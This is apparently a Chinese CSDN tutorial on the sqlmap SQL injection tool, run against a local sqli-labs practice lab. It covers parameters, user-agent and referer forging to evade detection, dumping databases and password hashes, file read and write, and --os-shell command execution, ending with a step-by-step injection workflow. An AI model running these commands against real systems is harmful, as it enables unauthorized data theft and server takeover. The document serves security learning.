sql注入三种工具(主要sqlmap)

SQLmap

安装
Windows安装
  1. 将sqlmap文件夹复制到python环境的文件夹下,进入该路径下的sqlmap下,shift+鼠标右键,选择在此处打开命令窗口,进入cmd窗口后,输入python sqlmap.py -u测试是否成功
Linux安装
  1. 用kali虚拟机,默认安装sqlmap的,所以直接在shell界面输入sqlmap回车测试
    在这里插入图片描述
常见参数
设置目标url:
  • -u或–url:sqlmap -u “带参数的url连接”
    在这里插入图片描述

  • -m:从文本获取多个扫描目标,一个url一行。sqlmap -m urllist.txt

  • -r:将http请求包的请求内容写到文件,sqlmap在文件直接扫描,就不需要设定cookie等字段值。sqlmap -r request.txt

设置回显等级:-v
  • 0:只显示python错误和严重的信息
  • 1:默认值,同时显示基本信息和警告信息
  • 2:同时显示debug信息
  • 3:同时显示注入的pyload
  • 4:同时显示http请求
  • 5:同时显示http响应头
  • 6:同时显示http响应页面
  • 例:sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” -v 6
    在这里插入图片描述在这里插入图片描述
设定探测等级:–level=N(sqlmap -r情况下)
  • level>=1:默认值,正常探测参数位置
  • level>=2:探测http的cookie值
  • level>=3:探测user-agent/referer字段
  • level=5:探测host信息
  • 例:sqlmap -r request.txt --level=5
设定探测风险等级:–risk
  • 1:默认值,测试大部分测试语句
  • 2:增加基于时间的测试语句
  • 3:增加or语句的sql注入测试
  • 例:sqlmap -u “带参数的链接” --risk=3
    在这里插入图片描述
设置http相关参数
  • –data:就是把data后面的数据以post方式提交。
  • –cookie:将抓包的cookie值复制到cookie参数后面,会自动生成,但是不一定成功。
    • 例:sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/” --data=“id=1” --cookie=“Cookie: PHPSESSID=p7ac6np116eh5g21pcu0ho8su1”
  • –user-agent:默认情况下,sqlmap的http头部user-agent会带有自己的标识,容易被杀掉,所以需要伪造一个假的
    • 例:sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/” --data=“id=1” --level 3 --user-agent=“opjijo”
  • -random-agent:会从/usr/share/sqlmap/data/txt中的user-agent.txt文档中随即获取一个user-agent值
    • 例:
  • -referer:伪造referer字段,绕过检测。
    • 例:sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” --referer=“www.baidu.com”
  • –delay:设定两个http请求间的延时,默认没有,值为1即间隔1秒
  • –timeout:设定http请求多久时间超时,默认秒
指定测试参数
  • -p:默认测试所有post、get参数,可以指定要检测的参数
  • –skip:指定不需要检测的参数
列数据
  • –dbs(查看数据库),–users(查看所有用户),–passwords(查看所有用户密码)
    在这里插入图片描述
  • –technique:指定使用那种注入类型(B-布尔型,E-报错,U-联合,T-时间注入,S-多语句查询)
    在这里插入图片描述
  • –current-db(当前数据库)、–current-user(当前用户)
    在这里插入图片描述
  • –privileges:权限
    在这里插入图片描述
  • -D database_name --tables(获取表)
  • -D database_name -T --table_name --columns(获取列)
  • -D database_name -T --table name -C --column_1,columns_2 --dump(获取字段)
    在这里插入图片描述
  • –is-dba:判断数据库是否为dba
  • –sql-query “select user(),version(),database()” :使用sql语句
  • –file-read=/opt/lampp/htdocs/php.ini :文件读取
  • –file-write C:\1.txt --file-dest /opt/lampp/htdocs/vulnerabilities/exec/1.txt:写入
使用shell命令
  • –os-shell:反弹交互shell
    • 前提:需要网站的物理路径,并且有FILE的读写权限
    • 格式:sqlmap -u “url” -p “id” --dbms mysql --os-shell
    • 选择语言,再根据提示选择2,填写物理路径(d:/phpstudy/www) 在这里插入图片描述
  • –sql-shell:执行指定sql命令。sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” --sql-shell
  • –os-cmd=系统命令:一次性的执行系统命令,前几步和第一个一样,只不过没有shell界面反弹
    在这里插入图片描述
  • –batch:自动选择y/n
  • –start:导出数据的开始条数
  • –stop:导出数据的结束条数
  • –dump:导出数据
    在这里插入图片描述
  • –dump-all:导出所有数据
  • –purge-output或–purge:清空缓存目录
  • –dbms “Mysql” --users:指定数据库类型
  • –dbs -o “sqlmap.log”:保存进度
  • –dbs -o “sqlmap.log” --resume:恢复已保存的进度
注入流程
1.判断注入点和数据类型:
  1. sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1”。针对GET注入
  2. sqlmap -r 存有post请求的文档路径
2.判断数据库名

sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” --dbs

3.判断表名

sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” -D 数据库名 --tables

4.判断列名

sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” -D 数据库名 -T --columns

5.获取字段

sqlmap -u “http://192.168.44.1/sqlilabs/Less-1/?id=1” -D 数据库名 -T 表名 -C 列名 --dump

6.查看获取的数据文件
  1. windows:c:/users/administrator/.sqlmap/output
  2. kali:/root/.sqlmap/output
    在这里插入图片描述

椰树

啊D注入

相关推荐
©️2020 CSDN 皮肤主题: 数字20 设计师:CSDN官方博客 返回首页